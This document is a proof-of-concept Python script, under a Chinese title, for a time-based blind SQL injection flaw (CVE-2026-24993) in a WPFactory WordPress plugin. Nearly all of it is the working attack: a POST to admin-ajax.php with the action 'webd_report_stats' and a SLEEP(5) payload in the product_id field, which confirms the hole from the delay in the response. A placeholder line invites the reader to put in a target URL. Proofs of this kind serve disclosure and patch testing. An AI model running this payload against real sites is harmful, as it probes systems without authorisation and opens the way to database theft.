CVE-2026-24993 WPFactory插件SQL注入漏洞

import requests def check_sqli(url): """ Proof of Concept for CVE-2026-24993 (Blind SQL Injection) This script sends a payload to check for time-based blind SQL injection. """ target = f"{url}/wp-admin/admin-ajax.php" # Payload to trigger a 5-second delay if the SQL query executes payload = { "action": "webd_report_stats", "product_id": "1' AND (SELECT SLEEP(5))-- -" } try: print(f"[+] Sending request to {target}...") response = requests.post(target, data=payload, timeout=10) # Check if the response time indicates a successful injection (delay > 5 seconds) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability Confirmed: The application responded with a delay.") else: print("[-] Vulnerability not detected or payload incorrect.") except requests.exceptions.Timeout: print("[+] Vulnerability Confirmed: Request timed out due to SLEEP(5).") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target_site = "http://example.com" # Replace with the target URL check_sqli(target_site)